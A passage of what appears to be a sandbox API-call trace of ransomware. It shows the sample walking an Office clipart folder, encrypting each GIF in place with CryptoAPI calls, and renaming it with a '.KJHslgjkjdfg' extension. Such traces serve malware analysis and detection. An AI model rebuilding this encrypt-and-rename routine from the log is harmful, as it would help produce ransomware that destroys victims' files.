hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0192.957] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.957] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.957] GetProcessHeap () returned 0x2a0000 [0192.957] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.957] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.957] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.957] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.958] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.958] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.958] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.958] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.958] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.958] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.958] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x253, lpOverlapped=0x0) returned 1 [0192.958] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x260, dwBufLen=0x260 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x260) returned 1 [0192.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.958] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x260, lpOverlapped=0x0) returned 1 [0192.959] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.959] SetEndOfFile (hFile=0x114) returned 1 [0192.961] GetProcessHeap () returned 0x2a0000 [0192.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.961] GetProcessHeap () returned 0x2a0000 [0192.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.kjhslgjkjdfg")) returned 1 [0192.963] CloseHandle (hObject=0x114) returned 1 [0192.963] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d64800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47d64800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01743_.GIF", cAlternateFileName="")) returned 1 [0192.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.964] GetProcessHeap () returned 0x2a0000 [0192.965] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.965] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.965] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0192.969] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.969] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.969] GetProcessHeap () returned 0x2a0000 [0192.969] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.969] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.969] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.969] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.970] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.970] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.970] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.970] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.970] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.970] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4d5, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4d5, lpOverlapped=0x0) returned 1 [0192.970] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e0, dwBufLen=0x4e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e0) returned 1 [0192.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.970] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4e0, lpOverlapped=0x0) returned 1 [0192.971] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.971] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.971] SetEndOfFile (hFile=0x114) returned 1 [0192.973] GetProcessHeap () returned 0x2a0000 [0192.973] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.973] GetProcessHeap () returned 0x2a0000 [0192.973] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.kjhslgjkjdfg")) returned 1 [0192.975] CloseHandle (hObject=0x114) returned 1 [0192.976] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9359300, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9359300, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01744_.GIF", cAlternateFileName="")) returned 1 [0192.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.977] GetProcessHeap () returned 0x2a0000 [0192.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.978] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.978] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.978] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0193.001] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.001] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.001] GetProcessHeap () returned 0x2a0000 [0193.001] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.001] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.001] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.001] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.001] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.001] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.002] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.002] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.002] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.002] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.002] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x31f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x31f, lpOverlapped=0x0) returned 1 [0193.002] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x320, dwBufLen=0x320 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x320) returned 1 [0193.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.002] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x320, lpOverlapped=0x0) returned 1 [0193.002] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.002] SetEndOfFile (hFile=0x114) returned 1 [0193.005] GetProcessHeap () returned 0x2a0000 [0193.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.005] GetProcessHeap () returned 0x2a0000 [0193.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.kjhslgjkjdfg")) returned 1 [0193.007] CloseHandle (hObject=0x114) returned 1 [0193.007] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43119400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43119400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01745_.GIF", cAlternateFileName="")) returned 1 [0193.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.009] GetProcessHeap () returned 0x2a0000 [0193.009] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.009] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.009] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.013] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.013] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.013] GetProcessHeap () returned 0x2a0000 [0193.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.013] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.013] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.013] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.013] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.013] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.013] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.013] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.013] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.014] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.014] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.014] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.014] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5ac, lpOverlapped=0x0) returned 1 [0193.014] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b0) returned 1 [0193.014] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.014] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5b0, lpOverlapped=0x0) returned 1 [0193.014] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.014] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.014] SetEndOfFile (hFile=0x114) returned 1 [0193.017] GetProcessHeap () returned 0x2a0000 [0193.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.017] GetProcessHeap () returned 0x2a0000 [0193.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.kjhslgjkjdfg")) returned 1 [0193.019] CloseHandle (hObject=0x114) returned 1 [0193.019] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab95900, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ab95900, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01746_.GIF", cAlternateFileName="")) returned 1 [0193.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.021] GetProcessHeap () returned 0x2a0000 [0193.022] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.022] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.022] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.022] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0193.024] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.024] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.024] GetProcessHeap () returned 0x2a0000 [0193.024] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.024] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.024] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.024] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.024] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.024] WriteFile (in: 